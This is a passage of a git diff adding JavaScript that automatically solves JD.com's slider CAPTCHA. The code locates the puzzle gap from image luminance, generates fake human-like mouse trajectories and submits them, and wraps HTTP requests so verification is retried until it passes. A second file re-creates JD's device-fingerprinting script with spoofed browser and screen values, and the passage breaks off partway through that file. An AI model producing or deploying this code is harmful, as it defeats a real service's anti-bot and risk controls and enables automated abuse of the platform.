left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } + + runWithCanvas() { + const {createCanvas, Image} = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const {naturalWidth: w, naturalHeight: h} = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + + const width = w; + const {naturalWidth, naturalHeight} = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = 'iv.jd.com'; + +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + this.count = 0; + } + + async run(scene = 'cww', eid='') { + const tryRecognize = async () => { + const x = await this.recognize(scene, eid); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + this.count++; + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene); + + if (result.message === 'success') { + // console.log(result); + console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + console.log(`验证失败: ${this.count}/${validatorCount}`); + // console.log(JSON.stringify(result)); + if(this.count >= validatorCount){ + console.log("JDJR验证次数已达上限,退出验证"); + return result; + }else{ + await sleep(300); + return await this.run(scene, eid); + } + } + } + + async recognize(scene, eid) { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: eid}, scene); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + // console.log(JSON.stringify(re)) + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: eid, + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + // console.log('%f\%', (i / n) * 100); + } + } + + console.log('验证成功: %f\%', (count / n) * 100); + console.clear() + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}, scene) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA,...{"scene": scene}, ...extraData, ...data}).toString(); + const url = `https://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'Connection': 'keep-alive', + 'Host': "iv.jd.com", + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/', + 'User-Agent': UA, + }; + + const req = https.get(url, {headers}, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + pipelineAsync( + response, + zlib.createGunzip(), + unzipStream, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 20; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + // console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +function injectToRequest(fn,scene = 'cww', ua = '') { + if(ua) UA = ua + return (opts, cb) => { + fn(opts, async (err, resp, data) => { + if (err) { + console.error(JSON.stringify(err)); + return; + } + if (data.search('验证') > -1) { + console.log('JDJR验证中......'); + let arr = opts.url.split("&") + let eid = '' + for(let i of arr){ + if(i.indexOf("eid=")>-1){ + eid = i.split("=") && i.split("=")[1] || '' + } + } + const res = await new JDJRValidator().run(scene, eid); + + opts.url += `&validate=${res.validate}`; + fn(opts, cb); + } else { + cb(err, resp, data); + } + }); + }; +} + +exports.injectToRequest = injectToRequest; diff --git a/JDSignValidator.js b/JDSignValidator.js new file mode 100644 index 0000000..f2679d3 --- /dev/null +++ b/JDSignValidator.js @@ -0,0 +1,2080 @@ +const UA = require('./USER_AGENTS.js').USER_AGENT; + +const navigator = { + userAgent: UA, + plugins: { length: 0 }, + language: "zh-CN", +}; +const screen = { + availHeight: 812, + availWidth: 375, + colorDepth: 24, + height: 812, + width: 375, + pixelDepth: 24, + +} +const window = { + +} +const document = { + location: { + "ancestorOrigins": {}, + "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "origin": "https://prodev.m.jd.com", + "protocol": "https:", + "host": "prodev.m.jd.com", + "hostname": "prodev.m.jd.com", + "port": "", + "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "search": "", + "hash": "" + } +}; +var start_time = (new Date).getTime(), + _jdfp_canvas_md5 = "", + _jdfp_webgl_md5 = "", + _fingerprint_step = 1, + _JdEid = "", + _eidFlag = !1, + risk_jd_local_fingerprint = "", + _jd_e_joint_; + + function t(a) { + if (null == a || void 0 == a || "" == a) return "NA"; + if (null == a || void 0 == a || "" == a) var b = ""; + else { + b = []; + for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 + } + a = 8 * a.length; + b[a >> 5] |= 128 << a % 32; + b[(a + 64 >>> 9 << 4) + 14] = a; + a = 1732584193; + c = -271733879; + for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { + var z = a, + C = c, + D = l, + B = h; + a = v(a, c, l, h, b[q + 0], 7, -680876936); + h = v(h, a, c, l, b[q + 1], 12, -389564586); + l = v(l, h, a, c, b[q + 2], 17, 606105819); + c = v(c, l, h, a, b[q + 3], 22, -1044525330); + a = v(a, c, l, h, b[q + 4], 7, -176418897); + h = v(h, a, c, l, b[q + 5], 12, 1200080426); + l = v(l, h, a, c, b[q + 6], 17, -1473231341); + c = v(c, l, h, a, b[q + 7], 22, -45705983); + a = v(a, c, l, h, b[q + 8], 7, 1770035416); + h = v(h, a, c, l, b[q + 9], 12, -1958414417); + l = v(l, h, a, c, b[q + 10], 17, -42063); + c = v(c, l, h, a, b[q + 11], 22, -1990404162); + a = v(a, c, l, h, b[q + 12], 7, 1804603682); + h = v(h, a, c, l, b[q + 13], 12, -40341101); + l = v(l, h, a, c, b[q + 14], 17, -1502002290); + c = v(c, l, h, a, b[q + 15], 22, 1236535329); + a = x(a, c, l, h, b[q + 1], 5, -165796510); + h = x(h, a, c, l, b[q + 6], 9, -1069501632); + l = x(l, h, a, c, b[q + 11], 14, 643717713); + c = x(c, l, h, a, b[q + 0], 20, -373897302); + a = x(a, c, l, h, b[q + 5], 5, -701558691); + h = x(h, a, c, l, b[q + 10], 9, 38016083); + l = x(l, h, a, c, b[q + 15], 14, -660478335); + c = x(c, l, h, a, b[q + 4], 20, -405537848); + a = x(a, c, l, h, b[q + 9], 5, 568446438); + h = x(h, a, c, l, b[q + 14], 9, -1019803690); + l = x(l, h, a, c, b[q + 3], 14, -187363961); + c = x(c, l, h, a, b[q + 8], 20, 1163531501); + a = x(a, c, l, h, b[q + 13], 5, -1444681467); + h = x(h, a, c, l, b[q + 2], 9, -51403784); + l = x(l, h, a, c, b[q + 7], 14, 1735328473); + c = x(c, l, h, a, b[q + 12], 20, -1926607734); + a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); + h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); + l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); + c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); + a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); + h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); + l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); + c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); + a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); + h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); + l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); + c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); + a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); + h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); + l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); + c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); + a = w(a, c, l, h, b[q + 0], 6, -198630844); + h = w(h, a, c, l, b[q + 7], 10, 1126891415); + l = w(l, h, a, c, b[q + 14], 15, -1416354905); + c = w(c, l, h, a, b[q + 5], 21, -57434055); + a = w(a, c, l, h, b[q + 12], 6, 1700485571); + h = w(h, a, c, l, b[q + 3], 10, -1894986606); + l = w(l, h, a, c, b[q + 10], 15, -1051523); + c = w(c, l, h, a, b[q + 1], 21, -2054922799); + a = w(a, c, l, h, b[q + 8], 6, 1873313359); + h = w(h, a, c, l, b[q + 15], 10, -30611744); + l = w(l, h, a, c, b[q + 6], 15, -1560198380); + c = w(c, l, h, a, b[q + 13], 21, 1309151649); + a = w(a, c, l, h, b[q + 4], 6, -145523070); + h = w(h, a, c, l, b[q + 11], 10, -1120210379); + l = w(l, h, a, c, b[q + 2], 15, 718787259); + c = w(c, l, h, a, b[q + 9], 21, -343485551); + a = A(a, z); + c = A(c, C); + l = A(l, D); + h = A(h, B) + } + b = [a, c, l, h]; + a = ""; + for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + + "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); + return a + } + function u(a, b, c, l, h, q) { + a = A(A(b, a), A(l, q)); + return A(a << h | a >>> 32 - h, c) + } + + function v(a, b, c, l, h, q, z) { + return u(b & c | ~b & l, a, b, h, q, z) + } + + function x(a, b, c, l, h, q, z) { + return u(b & l | c & ~l, a, b, h, q, z) + } + + function w(a, b, c, l, h, q, z) { + return u(c ^ (b | ~l), a, b, h, q, z) + } + + function A(a, b) { + var c = (a & 65535) + (b & 65535); + return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 + } + _fingerprint_step = 2; + var y = "", + n = navigator.userAgent.toLowerCase(); + n.indexOf("jdapp") && (n = n.substring(0, 90)); + var e = navigator.language, + f = n; - 1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( + "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || + f.indexOf("windows mobile"); + var r = "NA", + k = "NA"; + try { + -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != + f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( + r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = + "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( + "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f + .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = + "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), + -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = + "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( + "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != + f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), + -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), + -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( + "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = + "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = + "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( + "SymbianOS/") + 10, 3)) + } catch (a) { } + _fingerprint_step = 3; + var g = "NA", + m = "NA"; + try { + -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( + 0, m.indexOf(";")))); - 1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( + "firefox/") + 8)); - 1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, + 4)); - 1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); - 1 != f.indexOf( + "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( + 0, m.indexOf(" ")))); - 1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( + "navigator/") + 10)); - 1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( + "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - 1 != f.indexOf( + "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); + if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; + if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; - 1 != + f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - 1 != f.indexOf("360se") && (g = + "360\u6d4f\u89c8\u5668"); - 1 != f.indexOf("the world") && (g = + "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - 1 != f.indexOf("maxthon") && (g = + "\u9068\u6e38\u6d4f\u89c8\u5668") + } catch (a) { } + + +class JdJrTdRiskFinger { + f = { + options: function (){ + return {} + }, + nativeForEach: Array.prototype.forEach, + nativeMap: Array.prototype.map, + extend: function (a, b) { + if (null == a) return b; + for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); + return b + }, + getData: function () { + return y + }, + get: function (a) { + var b = 1 * m, + c = []; + "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + + e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); + c.push(g); + c.push(m); + c.push(r); + c.push(k); + y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + + m + "'"; + c = this.colorDepthKey(c); + c = this.screenResolutionKey(c); + c = this.timezoneOffsetKey(c); + c = this.sessionStorageKey(c); + c = this.localStorageKey(c); + c = this.indexedDbKey(c); + c = this.addBehaviorKey(c); + c = this.openDatabaseKey(c); + c = this.cpuClassKey(c); + c = this.platformKey(c); + c = this.hardwareConcurrencyKey(c); + c = this.doNotTrackKey(c); + c = this.pluginsKey(c); + c = this.canvasKey(c); + c = this.webglKey(c); + b = this.x64hash128(c.join("~~~"), 31); + return a(b) + }, + userAgentKey: function (a) { + a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( + navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); + return a + }, + replaceAll: function (a, b, c) { + for (; 0 <= a.indexOf(b);) a = a.replace(b, c); + return a + }, + browserRedirect: function (a) { + var b = a.toLowerCase(); + a = "ipad" == b.match(/ipad/i); + var c = "iphone os" == b.match(/iphone os/i), + l = "midp" == b.match(/midp/i), + h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), + q = "ucweb" == b.match(/ucweb/i), + z = "android" == b.match(/android/i), + C = "windows ce" == b.match(/windows ce/i); + b = "windows mobile" == b.match(/windows mobile/i); + y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" + }, + languageKey: function (a) { + '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( + navigator.language, " ", "_") + "'"); + return a + }, + colorDepthKey: function (a) { + '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + + screen.colorDepth + "'"); + return a + }, + screenResolutionKey: function (a) { + if (!this.options.excludeScreenResolution) { + var b = this.getScreenResolution(); + "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( + "x") + "'") + } + return a + }, + getScreenResolution: function () { + return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, + screen.width] : [screen.width, screen.height] : [screen.height, screen.width] + }, + timezoneOffsetKey: function (a) { + this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + + ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); + return a + }, + sessionStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), + y += ",'sessionStorage':true"); + return a + }, + localStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += + ",'localStorage':true"); + return a + }, + indexedDbKey: function (a) { + !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += + ",'indexedDb':true"); + return a + }, + addBehaviorKey: function (a) { + document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( + "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; + return a + }, + openDatabaseKey: function (a) { + !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += + ",'openDatabase':true") : y += ",'openDatabase':false"; + return a + }, + cpuClassKey: function (a) { + this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this + .getNavigatorCpuClass() + "'"); + return a + }, + platformKey: function (a) { + this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + + this.getNavigatorPlatform() + "'"); + return a + }, + hardwareConcurrencyKey: function (a) { + var b = this.getHardwareConcurrency(); + a.push(b); + y = y + ",'ccn':'" + b + "'"; + return a + }, + doNotTrackKey: function (a) { + this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + + "'"); + return a + }, + canvasKey: function (a) { + if (!this.options.excludeCanvas && this.isCanvasSupported()) { + var b = this.getCanvasFp(); + a.push(b); + _jdfp_canvas_md5 = t(b); + y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" + } + return a + }, + webglKey: function (a) { + if (!this.options.excludeWebGL && this.isCanvasSupported()) { + var b = this.getWebglFp(); + _jdfp_webgl_md5 = t(b); + a.push(b); + y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" + } + return a + }, + pluginsKey: function (a) { + this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + + "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + + "'"); + return a + }, + getRegularPluginsString: function () { + return this.map(navigator.plugins, function (a) { + var b = this.map(a, function (c) { + return [c.type, c.suffixes].join("~") + }).join(","); + return [a.name, a.description, b].join("::") + }, this).join(";") + }, + getIEPluginsString: function () { + return window.ActiveXObject ? this.map( + "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1" + .split(";"), + function (a) { + try { + return new ActiveXObject(a), a + } catch (b) { + return null + } + }).join(";") : "" + }, + hasSessionStorage: function () { + try { + return !!window.sessionStorage + } catch (a) { + return !0 + } + }, + hasLocalStorage: function () { + try { + return !!window.localStorage + } catch (a) { + return !0 + } + }, + hasIndexedDB: function () { + return true + return !!window.indexedDB + }, + getNavigatorCpuClass: function () { + return navigator.cpuClass ? navigator.cpuClass : "NA" + }, + getNavigatorPlatform: function () { + return navigator.platform ? navigator.platform : "NA" + }, + getHardwareConcurrency: function () { + return navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "NA" + }, + getDoNotTrack: function () { + return navigator.doNotTrack ? navigator.doNotTrack : "NA" + }, + getCanvasFp: function () { + return ''; + var a = navigator.userAgent.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = document.createElement("canvas"); + var b = a.getContext("2d"); + b.fillStyle = "red"; + b.fillRect(30, 10, 200, 100); + b.strokeStyle = "#1a3bc1"; + b.lineWidth = 6; + b.lineCap = "round"; + b.arc(50, 50, 20, 0, Math.PI, !1); + b.stroke(); + b.fillStyle = "#42e1a2"; + b.font = "15.4px 'Arial'"; + b.textBaseline = "alphabetic"; + b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); + b.shadowOffsetX = 1; + b.shadowOffsetY = 2; + b.shadowColor = "white"; + b.fillStyle = "rgba(0, 0, 200, 0.5)"; + b.font = "60px 'Not a real font'"; + b.fillText("No\u9a97", 40, 80); + return a.toDataURL() + }, + getWebglFp: function () { + var a = navigator.userAgent; + a = a.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = function (D) { + b.clearColor(0, 0, 0, 1); + b.enable(b.DEPTH_TEST); + b.depthFunc(b.LEQUAL); + b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); + return "[" + D[0] + ", " + D[1] + "]" + }; + var b = this.getWebglCanvas(); + if (!b) return null; + var c = [], + l = b.createBuffer(); + b.bindBuffer(b.ARRAY_BUFFER, l); + var h = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]); + b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); + l.itemSize = 3; + l.numItems = 3; + h = b.createProgram(); + var q = b.createShader(b.VERTEX_SHADER); + b.shaderSource(q, + "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" + ); + b.compileShader(q); + var z = b.createShader(b.FRAGMENT_SHADER); + b.shaderSource(z, + "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" + ); + b.compileShader(z); + 